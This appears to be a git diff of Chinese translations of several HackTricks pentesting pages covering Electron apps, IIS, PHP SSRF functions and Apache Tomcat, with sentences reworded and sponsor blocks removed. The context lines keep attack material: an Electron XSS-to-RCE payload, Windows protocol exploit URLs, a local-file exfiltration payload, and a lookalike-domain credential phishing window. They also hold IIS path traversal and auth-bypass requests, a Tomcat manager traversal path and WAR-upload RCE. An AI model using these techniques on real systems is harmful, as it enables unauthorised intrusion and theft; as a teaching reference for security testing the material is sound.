* 如果**`nodeIntegration`**被**启用**,这将允许在Electron应用程序中**加载在iframe中的网页**使用**Node.js API**。
|
||||
* 如果**`nodeIntegration`**被**禁用**,则预加载将在iframe中加载。
|
||||
|
||||
配置示例:
|
||||
```javascript
|
||||
|
@ -126,7 +113,7 @@ Example Payloads (Linux & MacOS):
|
|||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以轻松使用 Node.js 功能,只需调用 `require()`。例如,在 Windows 上执行 calc 应用程序的方法是:
|
||||
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以轻松使用 Node.js 功能,只需调用 `require()`。例如,在 Windows 上执行计算器应用程序的方法是:
|
||||
```html
|
||||
<script>
|
||||
require('child_process').exec('calc');
|
||||
|
@ -170,7 +157,7 @@ runCalc();
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**如果 `contextIsolation` 开启,这将不起作用**
|
||||
**如果 `contextIsolation` 开启,这将无法工作**
|
||||
{% endhint %}
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
@ -180,7 +167,7 @@ _**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代
|
|||
如果上下文没有被隔离,攻击者可以:
|
||||
|
||||
1. 在渲染器中执行 **任意 JavaScript**(XSS 或导航到外部网站)
|
||||
2. **覆盖内置方法**,该方法用于预加载或 Electron 内部代码,替换为自己的函数
|
||||
2. **覆盖** 在预加载或 Electron 内部代码中使用的内置方法为自己的函数
|
||||
3. **触发** 使用 **被覆盖的函数**
|
||||
4. RCE?
|
||||
|
||||
|
@ -208,9 +195,9 @@ window.addEventListener('click', (e) => {
|
|||
|
||||
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**针对预加载脚本或 Electron 的主进程本机代码的客户端远程代码执行 (RCE)** 在这些设置到位时得到了有效防止。
|
||||
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**针对预加载脚本或 Electron 的主进程本机代码的客户端远程代码执行 (RCE)** 在这些设置到位时有效防止。
|
||||
|
||||
当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
|
||||
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
|
@ -223,7 +210,7 @@ webContents.on("will-navigate", function (event, url) {}
|
|||
|
||||
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
|
||||
|
||||
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。
|
||||
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能会触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。
|
||||
|
||||
**Windows协议利用的示例包括:**
|
||||
```html
|
||||
|
@ -241,11 +228,11 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
|
|||
```
|
||||
## 读取内部文件:XSS + contextIsolation
|
||||
|
||||
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
|
||||
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和提取本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
|
||||
|
||||
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>)
|
||||
|
||||
此外,还分享了另一种**读取内部文件**的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并外泄数据:
|
||||
此外,还分享了另一种 **读取内部文件** 的方法,强调了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并提取数据:
|
||||
```html
|
||||
<br><BR><BR><BR>
|
||||
<h1>pwn<br>
|
||||
|
@ -270,7 +257,7 @@ webContents.on("will-navigate", function (event, url) {} // o
|
|||
```
|
||||
调用 **`openInternally`** 将决定 **链接** 是否在 **桌面窗口** 中 **打开**,因为它是属于平台的链接,**或者** 是否在 **浏览器中作为第三方资源** 打开。
|
||||
|
||||
如果该函数使用的 **正则表达式** **易受绕过攻击**(例如 **未转义子域的点**),攻击者可能会利用 XSS **打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**:
|
||||
如果该函数使用的 **regex** **易受绕过攻击**(例如 **未转义子域的点**),攻击者可能会利用 XSS **打开一个新窗口**,该窗口将位于攻击者的基础设施中 **要求用户提供凭据**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
|
@ -320,28 +307,16 @@ npm start
|
|||
* 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**驱动的搜索引擎,提供**免费**功能以检查公司或其客户是否被**窃取恶意软件**所**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,20 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
测试可执行文件扩展名:
|
||||
|
||||
* asp
|
||||
|
@ -38,7 +24,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
## 内部 IP 地址泄露
|
||||
|
||||
在任何 IIS 服务器上,如果您获得 302,您可以尝试去掉 Host 头并使用 HTTP/1.0,响应中的 Location 头可能会指向内部 IP 地址:
|
||||
在任何 IIS 服务器上,如果你得到一个 302,你可以尝试去掉 Host 头并使用 HTTP/1.0,响应中的 Location 头可能会指向内部 IP 地址:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -56,9 +42,9 @@ X-FEServer: NHEXCHANGE2016
|
|||
```
|
||||
## 执行 .config 文件
|
||||
|
||||
您可以上传 .config 文件并使用它们执行代码。实现这一点的一种方法是在文件末尾的 HTML 注释中附加代码:[在这里下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码:[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
有关利用此漏洞的更多信息和技术 [在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
有关利用此漏洞的更多信息和技术 [请点击这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## IIS 发现暴力破解
|
||||
|
||||
|
@ -75,13 +61,13 @@ X-FEServer: NHEXCHANGE2016
|
|||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
使用时不要添加任何扩展名,所需的文件已经包含它。
|
||||
使用时不要添加任何扩展名,所需的文件已经包含。
|
||||
|
||||
## 路径遍历
|
||||
|
||||
### 泄露源代码
|
||||
|
||||
查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
查看完整的写作内容: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\
|
||||
|
@ -89,7 +75,7 @@ X-FEServer: NHEXCHANGE2016
|
|||
此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\\
|
||||
{% endhint %}
|
||||
|
||||
在 **.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,起着至关重要的作用。
|
||||
在 **.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,发挥着至关重要的作用。
|
||||
|
||||
### **探索二进制文件**
|
||||
|
||||
|
@ -102,7 +88,7 @@ Host: example-mvc-application.minded
|
|||
|
||||
* **EntityFramework** 版本
|
||||
* **AppSettings** 用于网页、客户端验证和JavaScript
|
||||
* **System.web** 身份验证和运行时的配置
|
||||
* **System.web** 身份验证和运行时配置
|
||||
* **System.webServer** 模块设置
|
||||
* **Runtime** 程序集绑定,适用于多个库,如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**
|
||||
|
||||
|
@ -114,7 +100,7 @@ Host: example-mvc-application.minded
|
|||
|
||||
### **命名空间和 Web.Config**
|
||||
|
||||
MVC 应用程序还为特定命名空间定义额外的 **web.config 文件**,以避免在每个文件中重复声明,如请求下载另一个 **web.config** 所示:
|
||||
MVC 应用程序还为特定命名空间定义额外的 **web.config 文件**,以避免在每个文件中重复声明,如通过请求下载另一个 **web.config** 所示:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
@ -222,7 +208,7 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
### Microsoft IIS 波浪字符“\~” 漏洞/特性 – 短文件/文件夹名称泄露
|
||||
|
||||
你可以尝试使用此**技术**来**枚举文件夹和文件**,即使它需要基本身份验证。\
|
||||
你可以尝试使用此**技术**来**枚举每个发现的文件夹**中的文件和文件夹(即使它需要基本身份验证)。\
|
||||
如果服务器存在漏洞,这种技术的主要限制是**它只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
|
||||
|
||||
你可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
@ -235,7 +221,7 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
### 基本身份验证绕过
|
||||
|
||||
**绕过**基本身份验证(**IIS 7.5**)尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
你可以尝试将此**漏洞**与上一个结合,以找到新的**文件夹**并**绕过**身份验证。
|
||||
|
||||
|
@ -260,12 +246,12 @@ ASPXAUTH 使用以下信息:
|
|||
* **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。
|
||||
* **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。
|
||||
|
||||
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件作为 cookie**。因此,如果你能找到一个使用**相同平台**的网页,并且使用 ASPXAUTH cookie,你**在被攻击的服务器上创建一个与要冒充的用户相同的电子邮件的用户**,你可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\
|
||||
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件作为 cookie**。因此,如果你能找到一个使用**相同平台**的网页,并且使用 ASPXAUTH cookie,你**在被攻击的服务器上创建一个与要冒充的用户相同的电子邮件的用户**,你可能能够在第一个服务器中**使用第二个服务器的 cookie**,并冒充该用户。\
|
||||
这个攻击在这个 [**写作**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
|
||||
|
||||
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS 身份验证绕过与缓存密码(CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中缓存中已存在的键**的攻击者将能够以该用户身份登录。
|
||||
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -285,28 +271,16 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,17 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP 函数
|
||||
|
||||
一些函数如 **file\_get\_contents(), fopen(), file(), md5\_file()** 接受 URL 作为输入,如果用户可以控制数据,将会导致 **可能的 SSRF 漏洞**:
|
||||
一些函数如 **file\_get\_contents(), fopen(), file(), md5\_file()** 接受 URL 作为输入,如果用户可以控制数据,这将导致 **可能的 SSRF 漏洞**:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
|
||||
正如[**在这篇博客文章中解释的**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf),即使是Wordpress函数**`wp_safe_remote_get`**也容易受到DNS重绑定的攻击,从而可能容易受到SSRF攻击。它调用的主要验证是**wp\_http\_validate\_ur**l,该函数检查协议是否为`http://`或`https://`,并且端口是否为**80**、**443**和**8080**之一,但它**容易受到DNS重绑定的攻击**。
|
||||
正如[**在这篇博客文章中解释的**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf),即使是Wordpress函数**`wp_safe_remote_get`**也容易受到DNS重绑定的攻击,从而可能容易受到SSRF攻击。它调用的主要验证是**wp\_http\_validate\_url**,该函数检查协议是否为`http://`或`https://`,并且端口是否为**80**、**443**和**8080**之一,但它**容易受到DNS重绑定的攻击**。
|
||||
|
||||
根据该文章,其他易受攻击的函数包括:
|
||||
|
||||
|
@ -48,7 +40,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
|
||||
### CRLF
|
||||
|
||||
此外,在某些情况下,可能甚至可以通过前面函数中的CRLF“漏洞”发送任意头部:
|
||||
此外,在某些情况下,可能甚至可以通过之前函数中的CRLF“漏洞”发送任意头部:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -83,15 +75,9 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**努力安全组**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 发现
|
||||
|
||||
* 通常运行在 **8080 端口**
|
||||
|
@ -38,11 +30,11 @@
|
|||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
这将搜索文档索引页面中的术语“Tomcat”,在HTML响应的标题标签中揭示版本。
|
||||
这将搜索文档索引页面中的“Tomcat”一词,揭示HTML响应中标题标签中的版本。
|
||||
|
||||
### **管理文件位置**
|
||||
|
||||
确定**`/manager`**和**`/host-manager`**目录的确切位置至关重要,因为它们的名称可能会被更改。建议进行暴力破解搜索以定位这些页面。
|
||||
确定**`/manager`**和**`/host-manager`**目录的确切位置至关重要,因为它们的名称可能会被更改。建议进行暴力搜索以定位这些页面。
|
||||
|
||||
### **用户名枚举**
|
||||
|
||||
|
@ -79,17 +71,17 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
### **密码回溯泄露**
|
||||
|
||||
在幸运的情况下,访问 `/auth.jsp` 可能会在回溯中泄露密码。
|
||||
访问 `/auth.jsp` 可能在幸运的情况下揭示密码的回溯信息。
|
||||
|
||||
### **双重 URL 编码**
|
||||
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重 URL 编码路径遍历,从而通过特制的 URL 访问管理界面。
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重 URL 编码路径遍历,从而通过特制的 URL 实现对管理界面的未经授权访问。
|
||||
|
||||
要访问 Tomcat 的管理网页,请前往: `pathTomcat/%252E%252E/manager/html`
|
||||
要访问 Tomcat 的管理网页,请前往:`pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本 (XSS) 攻击影响的示例脚本。这些脚本列出得很全面,应检查是否存在未授权访问和潜在利用。查找 [更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本(XSS)攻击的示例脚本。这些脚本列出得很全面,应检查是否存在未经授权的访问和潜在的利用。查找 [更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -116,15 +108,15 @@ Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本 (XSS)
|
|||
|
||||
### **路径遍历漏洞**
|
||||
|
||||
在某些 [**易受攻击的 Tomcat 配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问 Tomcat 中的受保护目录。
|
||||
在某些 [**易受攻击的 Tomcat 配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问 Tomcat 中受保护的目录。
|
||||
|
||||
例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问 Tomcat 管理员** 页面。
|
||||
因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问 Tomcat 管理员** 页面。
|
||||
|
||||
**另一种方法** 是使用此技巧访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
|
||||
|
||||
## RCE
|
||||
|
||||
最后,如果您可以访问 Tomcat Web 应用程序管理器,您可以 **上传并部署 .war 文件 (执行代码)**。
|
||||
最后,如果您可以访问 Tomcat Web 应用程序管理器,您可以 **上传并部署 .war 文件(执行代码)**。
|
||||
|
||||
### 限制
|
||||
|
||||
|
@ -239,23 +231,17 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
